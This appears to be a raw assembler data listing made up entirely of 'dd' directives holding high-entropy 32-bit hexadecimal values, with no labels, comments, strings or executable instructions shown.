dd 77DEE8BEh, 6D80BF26h, 0FDC9336Ah, 286F3A2Eh, 0BAF278Eh
dd 81A1E07Ah, 0E6D70126h, 0ADC4DD44h, 7AA09F00h, 25DC9C56h
dd 3CF65F06h, 1DE0A0E9h
dd 5B9F0DC0h, 0CF1239A2h, 0FF7C4CA2h, 0EE5BF187h, 0B610A643h
dd 0C6460BFAh, 8956703h, 3545899Dh, 0DF41F96h, 9BE234B1h
dd 5D2FF82Fh, 7F16A817h, 16CEBDFDh, 0F29446B4h, 0CAD10EA5h
dd 807AE121h, 0E2F2799Ch, 0B9419657h, 0F25A2A99h, 70005FD4h
dd 0BB13818Dh, 9CBE2366h, 5B535904h, 0CE5B781h, 30CAF1C3h
dd 0EF1CF65Fh, 0C776C950h, 0F193FF39h, 7206BEBFh, 0EDE4B86h
dd 12890C2Ch, 30B3267Eh, 69CE43C5h, 0B92DD3E0h, 0F88E33ECh
dd 0B7BC9F31h, 0D1D27BBCh, 5D06AD83h, 508B91C4h, 89F049D9h
dd 0BF98C9A3h, 0D561C1B4h, 5A533C52h, 69AFAF5Dh, 9FAD5F2Dh
dd 375D6C08h, 97398804h, 5FF782E3h, 62D608C2h, 74D783A9h
dd 4040AC4h, 0D82504DAh, 0CECF3D8Bh, 0DE628B49h, 341D4A51h
dd 0F879788h, 47E61A8Eh, 203B7949h, 640F0AE7h, 6E6EC219h
dd 96218E3Eh, 67C18EECh, 0F375C775h, 0BA84ACDCh, 19AF88D7h
dd 9C3B478Ah, 9AD79732h, 625834D2h, 0BFCB9C92h, 695AD34Bh
dd 9E9E49B0h, 467AD72Bh, 913E5B81h, 2C46731Eh, 107598D5h
dd 255DAB94h, 8EDEA401h, 7C207AF5h, 0AFB816B9h, 0EC85295Ah
dd 0C503B9B0h, 60E2559Bh, 0FB860173h, 0BF9D0B8Dh, 0F9874E1h
dd 10D4377Dh, 0B48B56B2h, 3224D4E6h, 7D0A9AC7h, 6D776DCEh
dd 0C98A7D4Bh, 6BB54A18h, 6D0C22C5h, 6282E090h, 7CEE47AAh
dd 96FA1ABh, 0A0AF8DB4h, 0C3EAB602h, 9BDA9FF1h, 0DBD3634Bh
dd 0E48764A6h, 8979488h, 974FFCE3h, 0EA24E64Bh, 0EDA43AF1h
dd 4A47C04Ah, 42C7B12Bh, 0A7E3CAE9h, 0C69E72F7h, 6BEF9CB4h
dd 69D7BC2Dh, 2B783AC5h, 0C9FEDD39h, 7359B849h, 9B65EB3Ch
dd 40160EE3h, 9DD6355Eh, 4CD829A3h, 1E6D75FCh, 0B40D143Ah
dd 92662D72h, 0E99B035Ah, 51B10F69h, 0CF08BDA6h, 1BCFAC6Dh
dd 0B453C18Ch, 1631AB1Bh, 0A35748DAh, 1B31460Ah, 0D0C7F4D8h
dd 0EB3FCD53h, 0F385EFC5h, 2A0EDBE9h, 0C9F194B4h, 6E1186DEh
dd 964EFB20h, 0A27DE6D9h, 9E95B055h, 7F684FCEh, 223E9264h
dd 0E79BFD75h, 0A197D833h, 65768B26h, 0F68CB9D1h, 3F665964h
dd 225B4F01h, 7EC1BDD0h, 4FBF3FE9h, 79F24E19h, 5E24215Ch
dd 6A2D7D68h, 0BAF7D6ADh, 0B6129AAh, 48DB4142h, 0B0015F6Ah
dd 55D86373h, 74527CBAh, 9667CCD0h, 0F80620D6h, 7AF2E45Fh
dd 0BF544B00h, 0C0554E6Bh, 8F93CF15h, 80F9A72Fh, 0A0B542A1h
dd 53A60B34h, 0BA2F19A4h, 0A9C401FAh, 6455CDE3h, 4DAD79EAh
dd 9596EB34h, 18F48CC6h, 0B38D508Dh, 0CFDF738h, 589D8A43h
dd 0EE0F60FDh, 0E477C873h, 0CD0069F7h, 0F485C14h, 649A57C7h
dd 0E88A238Dh, 0EF11D3A0h, 0BC1E90DBh, 930BA252h, 0C20284F1h
dd 51121CBh, 0CE188EEDh, 39C31901h, 0F22D8225h, 7DB626Bh
dd 49818A5Bh, 91369955h, 57E37DA3h, 88DAA8E4h, 0A1BE9EEDh
dd 6C44B12Fh, 0A5E0A93h, 5B30F2CCh, 618DE840h, 0A2FAA3AEh
dd 0DCEE6335h, 40240AFBh, 0CD923401h, 2353C625h, 478988E2h
dd 5475E1A2h, 0B0BB8E7Bh, 0FD435FB8h, 0D4624891h, 0C339ED98h
dd 0F108950Ch, 0F0D5A9CEh, 4B2F4113h, 74E5058Ch, 21D0E7C4h
dd 0DECE44D4h, 0CE3FF399h, 439EDFE5h, 5C5974CCh, 26B12E8Fh
dd 56C532D5h, 2C1BD51Ah, 6408BAC0h, 15244C6Bh, 0C4298F7Bh
dd 74248F98h, 6A973E23h, 2253B6EDh, 8D3C50D9h, 0C9B14839h
dd 3BFEDAA2h, 7B3C1874h, 8CD34522h, 22274065h, 0DBF70747h
dd 471B5EF4h, 0C435A91Ah, 702233E5h, 0B938F97Ch, 0A6529C7Bh
dd 7A2353DDh, 0F6FF029h, 41439560h, 2F214587h, 46998AFFh
dd 77B4CA0Eh, 98B98411h, 0CC15FAFAh, 26633445h, 98E1922Dh
dd 99198B0Bh, 67EFF41Eh, 957F5650h, 46DF2161h, 0D63194A1h
dd 0B0167341h, 0FE94EBBAh, 22CB10FDh, 0E735C4B3h, 0CF8A3CE7h
dd 0B2009A94h, 4DD56B4Bh, 7BD11BA3h, 0B2121E0Ah, 1B237212h
dd 70180EC4h, 9D6AD8Fh, 0AEAB9415h, 985B1CBBh, 9F6D1AC7h
dd 0E19F9E2Eh, 0F2F73D51h, 110FA3C4h, 74476A11h, 63781C58h
dd 0A35CD5DAh, 0B1E7409Eh, 24D13DE4h, 78CB2082h, 0D301B93Bh
dd 7FAC8D69h, 0F896EEF0h, 25FAE8A3h, 0D0F6540Bh, 0B5113FF6h
dd 535B91EDh, 2285CD5h, 9E836DD1h, 829F7C0h, 62D4A841h
dd 890EDD95h, 0FEF9A06Ch, 3D3C03Bh, 0B9BEC418h, 0F692E72Bh
dd 20E6EB14h, 50A06F4h, 0CAAB9DB6h, 6FD72AC3h, 0D929D568h
dd 0AC0FEA15h, 69542938h, 93E4ADD6h, 4EA5465Eh, 0F9A71CAFh
dd 90E85993h, 9141D9ECh, 90186D15h, 40A86877h, 1A300E9Bh
dd 20035A79h, 2C35A461h, 724843Dh, 0A3F0843Bh, 39D6DF17h
dd 1EAA2218h, 0C5E55D52h, 8AEE1F34h, 22F5055Dh, 0E5C19109h
dd 98641890h, 68094A14h, 17042D8Eh, 0B9AFB782h, 2C28D95Ch
dd 16FF5019h, 0EE5A29BDh, 0B284A20Fh, 0C00565D6h, 0D7DE4543h
dd 0AF591457h, 0DC1E3B6Ah, 80790348h, 0E9903F0Dh, 0D1190282h
dd 8A9B044Bh, 7D8D6356h, 780EBFA4h, 0D8302266h, 0A0444800h
dd 0CB66A95Dh, 0DDC0A8A9h, 0E12D70C7h, 0B517C9E9h, 6F7D335Ah
dd 2862C65Eh, 0A22CA950h, 25DF304Fh, 0D6DF0EFEh, 684F9E64h
dd 35AAE7EDh, 0FE33A5B1h, 6CC3A065h, 37E8C6F5h, 7E6A8ED2h
dd 7E49CD85h, 41EA0F12h, 0EDF6DE89h, 0FDC5C5CFh, 0AB4CAEE6h
dd 0F4C9B022h, 62CA950Fh, 8954D9Dh, 0B31C6E39h, 3D5825B6h
dd 0E27B3F10h, 0A88D4241h, 0B7E8DF9h, 5F49E929h, 0A970F6BFh
dd 0C7DAF7A2h, 42B2207Bh, 101C6FFCh, 57D73562h, 0B22D0F7Ch
dd 58EF7824h, 0F9712CADh, 54F1EA6h, 0E4E11FABh, 0A69B52A6h
dd 443F13Bh, 0FF5D229Ch, 457B8E94h, 0BE69E25Ah, 928A54EEh
dd 0BDD79B67h, 0C0A39368h, 95A540A8h, 3A517376h, 0C642DB7Eh
dd 4F2B31BDh, 0C8A34322h, 1E43B947h, 57D52E73h, 8DD34C94h
dd 0B2F5B59Dh, 37154E49h, 0A8C05734h, 0BCEF11Bh, 5CEB361Eh
dd 4417ADCAh, 45AC8E32h, 0DFE629E4h, 6D511EDh, 12CF5DFh
dd 942D3C40h, 0A05CEFDAh, 0D6DE4A24h, 8CBAC5EEh, 4C2B573Dh
dd 1B69DF85h, 121313C6h, 0EEE0ECFFh, 0C8BF9C5Ch, 0B7B70244h
dd 0E673B756h, 4C6CD3D9h, 131D1AA5h, 37220FF2h, 8D1C58E9h
dd 0E5BEBACh, 337ECE9Ch, 8839A7D3h, 1FF792D6h, 0A52024E5h
dd 0E7B239E2h, 0A3AA6C09h, 8B52C1D5h, 33B5B445h, 0A9E33686h
dd 0EFEAEB02h, 78F1E7CFh, 933435BAh, 6222669Eh, 0E729F2FCh
dd 0C4E8A528h, 0A938BC9Bh, 6E5EB8E1h, 4ED75C54h, 51FABBC4h
dd 0F53E99CDh, 8FE78274h, 0DA669F5Eh, 0DE8194E5h, 21022CBAh
dd 3161DDA5h, 0B7857059h, 0A371A324h, 64C666Ch, 6DCD3439h
dd 0BAC293h, 49687AC0h, 8D619194h, 0AC3C8492h, 0BF778AC4h
dd 21BED570h, 4D5D62BCh, 9C6E4AA0h, 78D45E55h, 0A8B08AF4h
dd 34D5435Ch, 0E82DCBD4h, 9679058Eh, 0B9A303BFh, 7E0E6CD5h
dd 6626BA3Ch, 0E38DD4A5h, 0A4A321Dh, 0E17D086Fh, 7FC5E2B7h
dd 0A414E493h, 0C0957101h, 26D020BDh, 0D149998Ch, 62C0EAFFh
dd 0F32FB484h, 0FB02F7F3h, 0E3B1DD0Bh, 5EDD5092h, 0EB85D020h
dd 88F1BECDh, 0B87AB1B3h, 558618DEh, 368667DDh, 1DC1C4D0h
dd 0ED51B19Eh, 1683D734h, 1E554C4Fh, 93BC66C1h, 0CC23D1BBh
dd 33609580h, 0B918C582h, 195CB5A2h, 35CA7C48h, 3BC58FB4h
dd 0DDBB137Ch, 0AA85F90Eh, 7790D914h, 0C15DB0EDh, 7D53668Fh
dd 34966E0Eh, 42C779D2h, 29626C51h, 943D2AA1h, 0F83DD4CEh
dd 75EF99DAh, 308C712Ch, 207D3BFCh, 0FF848CFBh, 7CDE6184h
dd 0AD1E9088h, 0A0EB53C7h
dd 0FA1EC6DDh, 12B8B788h, 0B19A6A18h, 0BCA42ADAh, 0E6D87528h
dd 0F20865F0h, 42D99EDEh, 9D30BBF3h, 5318D066h, 8C702422h
dd 1F689E4Fh, 0EFFE0A6Fh, 8E6360C7h, 7BD7426Ah, 26870C9Bh
dd 0E19C2A76h, 0F09D96F1h, 91E1B225h, 73930B8Eh, 54806CECh
dd 0B243260Ch, 4D28FA9Ah, 0E78C43EFh, 0D69BBDE0h, 3BCF0CFFh
dd 5AE4D1BFh, 0FC452EF6h, 32C5E34Ch, 7932BA3Ah, 53B9547h
dd 653B0EACh, 0DA192FAh, 6F9E147Ch, 0EE77459Bh, 0F784D944h
dd 792B0319h, 35CFEA28h, 52E37024h, 15FDA88Bh, 507B4042h
dd 5BF025F2h, 925FC573h, 662C46B3h, 3D89C0E7h, 12ED0205h
dd 0EF9E67E8h, 0D55B3DB9h, 58F12313h, 0DB3B346Ch, 4D0B29C0h
dd 0A27E4F8Fh, 0C106876Ch, 0B5C49A66h, 6A27E373h, 0DC36BFA5h
dd 7B9717AFh, 535D7CE1h, 0E3E74E8Dh, 16F4F18Ch, 9ACC27A2h
dd 4BC2922Fh, 0C99150F9h, 6053629Dh, 0D6A181AFh, 0A80813F3h
dd 3D594DE7h, 0EA63BC92h, 0BA5E2EDDh, 0B653611Ah, 2FD473ECh
dd 309CEEE6h, 6EB329ADh, 2611E913h, 0A1442E19h, 27874BEDh
dd 0C378B6F9h, 775C2E15h, 478BA6B3h, 7AB962D3h, 0FD38DFD3h
dd 0BF3DA3F5h, 3719C9Ch, 255AF066h, 7D2A26B8h, 5F3B0DD4h
dd 80920BFBh, 386D1153h, 962010AEh, 4EB1C62Fh, 59D71006h
dd 95E6849h, 223CD5EFh, 0D4ACC1F1h, 0B147ABFAh, 0FAAD87CAh
dd 462574A6h, 0F437F773h, 0B2282167h, 2D65EC11h, 0A43A6705h
dd 0ED7C6957h, 1756357Dh, 2CAF23ADh, 0DC44E8E2h, 8E651B96h
dd 7B234034h, 0A1F88FB9h, 3277DC71h, 0EFA6D5EAh, 730E1D5Bh
dd 0A88679A9h, 45C35119h, 0FDED86B7h, 5DE77EBh, 0E9AE9965h
dd 148EEB03h, 45735ED7h, 0A81DE45Fh, 94965CECh, 0C2C64242h
dd 601E042Fh, 0F22F2F4Fh, 0D7C6BA70h, 0B7E4B4C8h, 0DC19053Ah
dd 25049612h, 0AC2F8AC7h, 0F55D8A4Eh, 0FC054A59h, 0A8DC8107h
dd 0E1423355h, 3954E36Eh, 66A9AD6Fh, 0C9C2D4CEh, 0FDBF1C7Ah
dd 62BE455Bh, 0E4A1EF0h, 3DF8FCD9h, 637F66B2h, 0E82CDCCEh
dd 3ECBF71h, 0D3915184h, 0A0FB2B15h, 81BAA45Fh, 8F125B54h
dd 86205E01h, 70E5E763h, 39C9F45Dh, 5CFA7F05h, 87F43C8Eh
dd 8771CAAFh, 4DF38C9Ch, 0C2438ACEh, 81FAB095h, 0CB5157A4h
dd 0C374807Fh, 0EFE0FEF5h, 2ACC249Ah, 7A748F5Dh, 0A8030F04h
dd 29A4E9CEh, 0B28D0D59h, 0F43DBBF5h, 1E818417h, 5E450617h
dd 6A236E25h, 1FFE9E4Dh, 86742424h, 0D61A3001h, 0EA060086h
dd 28106484h, 7BDEB428h, 0D32AD87Ch, 0A20130B6h, 9B61C6CDh
dd 89D28630h, 23484C1Ah, 0DBFE6C59h, 274DAADBh, 92FDBD51h
dd 938394DCh, 0F28BAC76h, 71081D32h, 1C0793A3h, 3419DDE5h
dd 0A0EA781Ch, 5BBB2488h, 6117ECAh, 0EFE46717h, 83BF9038h
dd 8F2B574Ch, 0AAE800F3h, 16685039h, 0AC8C76B7h, 5BA6C449h
dd 0B5B60091h, 2E7E88AAh, 8FCFEF2Bh, 0EE303749h, 207A073Eh
dd 0D58136D5h, 725B2B98h, 0F42E0FBBh, 0A840BA4Dh, 22E3689Ch
dd 0EF7C4213h, 0D1B76015h, 0B2B06755h, 8F0516EAh, 0ED17E717h
dd 0D87B92BCh, 723BAD70h, 0D2BA9216h, 9660822h, 0C844F55Ah
dd 0BE6F45E8h, 0C39AA70Eh, 0CF4C4E41h, 8C47781Dh, 0D48719E6h
dd 128DF054h, 0D2CACF7Bh, 92F54CDAh, 0D755FEB0h, 1E33F388h
dd 6D88D949h, 0BDDC9E23h, 5A3321A5h, 841B008Ch, 8A724F84h
dd 52B4C77Eh, 9CCBAD9h, 1C5D017Ah, 8BA0E73Fh, 0BD77DC2Dh
dd 39F2599h, 0D4FC6B8Eh, 0F31DC056h, 3D6F2726h, 455B0D03h
dd 4EEFC64h, 862F467Ah, 0CC065832h, 0AFF35AB0h, 0FDA6E3E5h
dd 0AD50022Dh, 0D1E2EC17h, 0BDF957B2h, 0E745FBFCh, 4B90658h
dd 2E4E5D9Ch, 0F14AEE87h, 94818165h, 0E1116E9Ch, 0B9163BD7h
dd 286D13BBh, 0D1AD1BA5h, 0B9543516h, 5E2B525Eh, 0DFA75830h
dd 0D0591414h, 5D4A8C46h, 2878C775h, 8B5A6FACh, 0A5C3CA2Bh
dd 3F8F29C2h, 0B4F26934h, 411066F5h, 0DE13E8EBh, 548F79A5h
dd 0FE5E8A6Ah, 0C1D5B4FCh, 0EA386FE5h, 0D404E363h, 90695C46h
dd 104399E9h, 93C4FCACh, 1F645F5Eh, 0D08DD994h, 0CE37F952h
dd 95EFEAB5h, 2D1285A3h, 3463BC75h, 0D89CD228h, 0B73BA895h
dd 8AE9E6ABh, 644066D9h, 80F0856Bh, 0DEE73BF8h, 56E6D249h
dd 28406DFBh, 752DD397h, 3812A1A8h, 2EF18D82h, 948915FFh
dd 0D253C2C4h, 0DFAAEC0h, 0D59788ADh, 8857F056h, 7463A840h
dd 0DB553A5Eh, 0BE713A0Fh, 31967795h, 17541535h, 11218A63h
dd 20592570h, 2DB792C2h, 0DCF0BF55h, 6EA929C3h, 5732843Dh
dd 0A1896F39h, 4BA341E5h, 2ACD9F8h, 9217617Ch, 1F318A47h
dd 0B690D7DBh, 4755674Dh, 59941B04h, 0A0403C51h, 0A593A168h
dd 42EBBA8Dh, 0F48AC52Bh, 647C0F6h, 35B20E16h, 0CC6C09C5h
dd 0F1D329B5h, 2AFBF14Dh, 0B833EC1Bh, 0C003E024h, 0F92D3FB4h
dd 0D09318E0h, 75633FB0h, 18C7FFE3h, 0D75344FDh, 0E6F69683h
dd 272564C5h, 0CA6B2EF4h, 341B076Dh, 0D500CADAh, 8F383CE1h
dd 6DF4885Ch, 156488FBh, 400C014Fh, 91DBF6B8h, 7376006h
dd 5B05C079h, 5F85B23Ch, 819191FEh, 12A983DBh, 0FA9B3DC1h
dd 0F5EEE680h, 1EBCE06Ch, 2F11F45Bh, 77353AEFh, 0C30ED4FFh
dd 0C79D2855h, 0D02028CCh, 2C71B8E7h, 64A69376h, 57FE72D4h
dd 67A77BBFh, 0FD891E48h, 2AC695E7h, 1BD8777Bh, 265617D8h
dd 7EFC45E3h, 9497DB21h, 0CCE3722Bh, 0DE6179FAh, 64A8E2E7h
dd 6AF7FD21h, 0AF49502Bh, 32D059D1h, 0A181CD33h, 0C3C73B49h
dd 7A594DBBh, 0C7B09B56h, 0F0A8242Dh, 36B98362h, 0AB9B0D69h
dd 0DCBDD811h, 8EBA655Ch, 26DAF8D2h, 5225FE0Dh, 0C5DC3A3Eh
dd 5A2D4869h, 0F54A2B12h, 0B22889DCh, 1118377Eh, 0F6CADD6h
dd 0EDB15328h, 0D0960972h, 94A6D3F3h, 0B28D4C36h, 9B344654h
dd 0AB2AAE4Ch, 0B3FC3ECAh, 554617EAh, 944060Dh, 0E237C6B7h
dd 162637FDh, 0C62CE3B2h, 0AF72144Fh, 4AE06C8h, 0B557A6F8h
dd 0FA5EA2BCh, 0C9E61BAFh, 6E27206Fh, 36A76263h, 0CB09A8C9h
dd 7219C60Fh, 93B885F9h, 376DEAE4h, 0E5BEF2EEh, 6104C3A8h
dd 0E2D43C8Eh, 9B748D2Ch, 2F10BC79h, 7E95F86Ch, 0B3E1B460h
dd 4AD7F60Fh, 0A2A40774h, 2B0D337Fh, 4AFAE215h, 2FE7A8E9h
dd 0CF086D2Ch, 6452FDCBh, 5F891932h, 40E4C80Eh, 0D520AD29h
dd 846D9311h, 84E13A64h, 9E33FE79h, 0CB0E13B5h, 9B8CB2B7h
dd 3D195E4Fh, 0F8D5BB5Fh, 544B1FC0h, 82CF2EC0h, 284F123Bh
dd 934E513Fh, 0FF2EC34Bh, 0F816AB37h, 0EB59B99Eh, 0F2D3A955h
dd 412138CBh, 7ADB479Dh, 0D48A5620h, 33EE01A4h, 488B7B5Ch
dd 6CFDCBE5h, 734E4A21h, 849A6310h, 74A12FC5h, 0D7486F50h
dd 66E98F04h, 495AE1ACh, 0F302AE6Bh, 9D1BA962h, 773F0BDh
dd 0F67A735Fh, 36100FBBh, 0C289F748h, 0D04E854h, 0C7A03D3Ah
dd 0E70FC2Bh, 0A7BCDC22h, 479D3E20h, 0A89841F8h, 0CFEFDB36h
dd 95E75979h, 5CFE61DBh, 1FC53129h, 210A811h, 7330E746h
dd 4AC1AF88h, 0E0F04824h, 6ABFAE19h, 0AA6A5AC3h, 0BBD081B7h
dd 0E9B0D843h, 75F16933h, 0E036B1A9h, 34A7C638h, 1C7A320Fh
dd 0FDBACDA8h, 85D5EA37h, 0B2FC416Ch, 7C4F7316h, 0F2EADD41h
dd 9B802BBh, 5AAF0522h, 0A4367792h, 8CD904Fh, 20E93DB4h
dd 9C9DF793h, 8CDF4C95h, 635B500Ah, 0F320B03Fh, 2E7C5D99h
dd 6B491A33h, 0FC942222h, 0B3F7AE7Fh, 0CD388804h, 0A51E0226h
dd 39D56FB3h, 0CED90C33h, 56E163AAh, 0E855FA24h, 6285A874h
dd 0B5A9A626h, 20756A36h
dd 2CC311A4h, 0BA47C640h, 0E646BF12h, 0F5CE2755h, 0A2A01825h
dd 790C48CDh, 12206ADCh, 0FA1A681Ah, 0CAF6E466h, 0D85E5381h
dd 0ECEAC8B5h, 0C84C3A3Dh, 0E073DD4Fh, 94BDD097h, 0B02399A5h
dd 0E98F6E30h, 0CCDCA3F7h, 0F2F979CCh, 51C96C66h, 7B65BE36h
dd 0A0468938h, 0F48AA85Eh, 8676EFF1h, 0D43EC1DEh, 7802A3F8h
dd 788FB3D9h, 2DD5DC6h, 3A6C8CDEh, 0C2CA2C0Bh, 54B24682h
dd 0A5B9C95Ch, 0EF021A57h, 62FE5892h, 537B4143h, 0E9F4F481h
dd 50E6B2A1h, 0A6551635h, 6D31EA74h, 199358BCh, 0F64ED00h
dd 0AA432FE8h, 0E0FA25E8h, 23BE9C71h, 933136D7h, 5EE67EEBh
dd 9306B1B8h, 0C3268F65h, 6ED78000h, 8CFB4FA5h, 0B97B6D0Ch
dd 16152709h, 0BAB46E71h, 0F63D369Ch, 0C6C94447h, 44B55EEEh
dd 0EDED4396h, 9DD01DFh, 9D0DC031h, 54E6B6DCh, 0BC261263h
dd 0BF01F570h, 6EAB7525h, 0DB0E491Ah, 44E05092h, 0ABAA9060h
dd 0E30D721Bh, 32E76D9Fh, 0BA08680h, 843CC162h, 0BF246E88h
dd 322AF402h, 1AA9052Ah, 0E04408B0h, 9E4F0F94h, 81D91F26h
dd 0BA9F56D3h, 92798270h, 0EC0B9375h, 0BD6BD492h, 392DD858h
dd 6E32FAB1h, 199287F1h, 9E38D1D6h, 8FE78427h, 0D119D27Dh
dd 0C799BDEAh, 4530D6DBh, 0E87C9A2h, 0B486286Dh, 80BB1226h
dd 2894F700h, 85D2E20Dh, 87B34BA8h, 1365FC7Fh, 7B40CAA5h
dd 76A8A96Eh, 4009D94h, 1536066Bh, 973E63CEh, 8A0F3666h
dd 7F65BDD3h, 0B1945D3Ah, 51FC80C7h, 9823C39Ch, 0A4A9E24Ah
dd 0FFC58B7Ah, 2C3748D8h, 7FFF5AE4h, 9DD28945h, 0D1C23BE6h
dd 8DD38185h, 5364B812h, 1ACBA569h, 928DB49Dh, 0A3E64FC4h
dd 0E6CBFDAAh, 3EBCD9Ah, 60DF86DAh, 64CB736Dh, 58A97B62h
dd 110AD4E6h, 0F0FE560Ah, 0B2237520h, 465CDFE2h, 8B005C2Ah
dd 1EC7D9AFh, 2EF4601Dh, 0DA4A32A8h, 0F5481B5Ah, 999C2492h
dd 6F8319BEh, 98BEB76Bh, 188775C7h, 0B73694D2h, 0C08638C9h
dd 13EDE4F7h, 203B38C5h, 0B2B91B40h, 89E4901Dh, 88AA9B19h
dd 6E0AADh, 0AD19286h, 0BC3B6355h, 79FFFC5Ch, 0EA25B3E9h
dd 0D15C0451h, 2CE89D77h, 0FCC156ECh, 0C8402B16h, 0C5D9DA37h
dd 0B693B25Dh, 0D679F0Bh, 0EE0D427Ch, 0F2EF22DBh, 7BC395FDh
dd 0B1EE18A5h, 0CEF37407h, 0AFF96C4Ah, 43E91C6Ah, 0CC92B041h
dd 0CE109C47h, 0DD171E15h, 9A819C0Dh, 9C2A741Bh, 2D96C7FEh
dd 7B5509Bh, 0FAD95B95h, 713AEEF1h, 0BA6D9F66h, 0AC7617FCh
dd 128E2A91h, 5521F0D4h, 29384F83h, 0F788FDFFh, 0BB6B3ED9h
dd 3DDA7406h, 0CE478C7Bh, 0D8DF419Dh, 0C7676F18h, 288AE685h
dd 0A110AA83h, 4E926137h, 1CEE8C37h, 85D10C6Fh, 0FE81819Ch
dd 619CD1A6h, 0BAB40E4Eh, 55F334FEh, 6098F7CFh, 0BB0F82FDh
dd 1C9B9EC6h, 848B5970h, 0B73044ADh, 0E8D6EB95h, 41207827h
dd 5A88C312h, 0C4B309E6h, 82167D12h, 51C88F57h, 1101F775h
dd 0A33FCA1Dh, 5E8BEF89h, 0DBF6625Fh, 8A62B8A0h, 6271B995h
dd 6296FB8Fh, 0AC21C1BEh, 0B0922E9h, 0D24FA86Ah, 775DE0F4h
dd 24235B77h, 0C3BC0900h, 829EA334h, 0AD0D258Dh, 0C2933484h
dd 3221B33h, 0E857A2ADh, 6B273C05h, 0D2A21D3Ah, 0CCE58BDCh
dd 0C1CF3106h, 24773364h, 0B0CEC146h, 1367A196h, 23F8CB6Eh
dd 8BA4EFB9h, 1E55348Dh, 8A3F1002h, 79C300C3h, 0B8F6585Fh
dd 0D30EE6ADh, 2161BCD1h, 7B49E5B4h, 0BFF19922h, 0AF3336Ah
dd 4975E586h, 189CE7C6h, 0A03AF90h, 4E2BFAFh, 0C043D999h
dd 42937014h, 189EAF75h, 14D1F14Ch, 0BF04A28Bh, 9C1D896Eh
dd 23F1EAEh, 68A540FEh, 0A868A0DAh, 586E1C0h, 0F8BFC312h
dd 0B3021729h, 6ECAECB2h, 21DA4FA6h, 0DF366191h, 3CDB1DE8h
dd 9AC76D7Fh, 0DF632A31h, 73724E2Ch, 0F121133Ch, 4365D6Eh
dd 7F10F155h, 33185142h, 1D7B1BE5h, 9C69A4Ch, 1CCB60D5h
dd 1277AD69h, 5ABB2918h, 0F1A6E76Dh, 0D59EAABFh, 0FBA8D517h
dd 0DE73BB25h, 0B785780Ah, 2F1B4838h, 98B138E8h, 70D3E5FBh
dd 0C57A7553h, 9FDE6520h, 505F2EC1h, 2EF6CD77h, 5296DBFBh
dd 0B6A9A904h, 13010343h, 85213DFBh, 10F968A7h, 222BDED9h
dd 38A236F2h, 0EEB197F6h, 2B87E414h, 199E79B2h, 6E1DEAD6h
dd 636EA4B3h, 3236ADA7h, 721E65DFh, 0FE378872h, 212BA798h
dd 0C284B04Bh, 5ABF715Bh, 0AA7A9325h, 0DEC4D32Eh, 394262B4h
dd 0FC89BFD6h, 0B4E95B13h, 1F3D3785h, 0E49F165Bh, 0D5BDC923h
dd 15372C2Eh, 436DE499h, 0D03F4668h, 68AE5EF8h, 0B0A4881Bh
dd 6E1C6E4Ch, 0C083E21Fh, 973A7D8Dh, 0C13B2504h, 2205A3F8h
dd 0BB038B6Fh, 9EDEDD32h, 0C5AEAD51h, 64959408h, 7E7B6E73h
dd 2007E496h, 0D8714697h, 0D3FA8DDBh, 57F79C22h, 28CACFAh
dd 0D858ABC6h, 0FEE0A5C2h, 46172CB0h, 0C8A3F189h, 9BAD9E54h
dd 93C3C9A0h, 1D4AD207h, 297DB9Ch, 4FFB427Bh, 0B449EF5h
dd 0D035ADB4h, 14D5395Dh, 3D4E23E4h, 0C6FCB8D2h, 48A99200h
dd 0D354A1D6h, 83407129h, 742B3338h, 1A26FE7Dh, 0A8853E6Eh
dd 0A2F8D8Fh, 0D656AECFh, 224BE5E2h, 99EE7B78h, 0C68C4E08h
dd 0DDA04924h, 99D8A66Ch, 0F5B6493h, 318CBAE2h, 0A1F0378Fh
dd 0E8589556h, 6DA624F4h, 81BAE96Dh, 0B30BD23Bh, 953A77FDh
dd 9B722D67h, 0F1AEAAB2h, 1641C858h, 89D7A616h, 0CEB63224h
dd 7466D0C6h, 1C1D616Bh, 7664B1F2h, 0CEF98C7Eh, 0B4F2A29h
dd 0F7066D9Ch, 0DCA7A67Dh, 2C3927Ah, 325B6854h, 6FB597Bh
dd 809011A8h, 0B808708Fh, 685A0198h, 0CBD500FBh, 79D1647Fh
dd 0F27D485Fh, 0C953B195h, 0A6FA4DB6h, 27736266h, 809C1175h
dd 65A2D2AEh, 0A33A458Ch, 444F059Dh, 275075CDh, 0D36BDA9Fh
dd 11EB3F46h, 5D7D5C3Bh, 6541B12h, 0C4DB3328h, 8280CA2Dh
dd 9B706E72h, 7EC19F03h, 2511A04Fh, 82EDE315h, 397C2D5Eh
dd 61B589DFh, 0F2918C52h, 0BF4CD6A4h, 0E4155237h, 9D81C080h
dd 6D33F741h, 598FDDD3h, 0EA8F9B75h, 1870D31Ch, 6BEF4DBCh
dd 1119C968h, 88F4195Bh, 0B6F2FE52h, 0A10945F0h, 405FF9D7h
dd 74C4CF0h, 0BE5A0532h, 7E060A7Fh, 13A1AEC8h, 0FA60932Ch
dd 83A46094h, 9F71DA12h, 77373A4Fh, 0F331E991h, 0CA32C711h
dd 9CB42AF0h, 4EB46B62h, 2E2A1DFBh, 7F429137h, 549B94A7h
dd 5456EB40h, 0D4669522h, 6DD74181h, 0D3E5C040h, 7568BA6h
dd 8BC9713Fh, 95AD9642h, 0AA0BC2A7h, 9C8FBB76h, 50E43C6Bh
dd 0F7F671C4h, 309AC4FAh, 0FCDAAEC0h, 89D37F46h, 1109712Ah
dd 42D7469Fh, 53AB435Bh, 0FD4321ECh, 2C6811Dh, 9C8E21E1h
dd 33B8EF1h, 8B9EFC62h, 59C68736h, 0E833AF19h, 0A482F69Ah
dd 98672738h, 0BD28554h, 5BE3D408h, 0FFC5207Ah, 65FFD874h
dd 0C4622108h, 3FF3AF88h, 7A34AD35h, 1554A8CBh, 0D8D96516h
dd 9090899Dh, 0C77F6FC7h, 0B2CD5C16h, 5FC51EB9h, 86626BE7h
dd 9E5F5732h, 62145BEEh, 50659A75h, 0A06D6E09h, 0FFFF9323h
dd 0A31AE990h, 0C746B4B6h, 66241AE5h, 48E59EB1h, 0B41DFCEAh
dd 0DD1A08EAh, 662CF9Ch, 81C3BF18h, 90848AACh, 8B9977FDh
dd 9907C824h, 4386CEE6h, 86CB307Ch, 0D67A5CECh, 3B22CB07h
dd 283D83E2h, 13B53819h, 370FC452h, 8E637A01h, 0DD4C6F05h
dd 8A29A5Ch, 99B007CAh, 8DF72FEAh, 0C5C33323h, 4FC872F9h
dd 0F5586E24h, 0B0E7CA81h, 1B0E0E1Dh, 0CA5FB22h, 4A26FFC1h
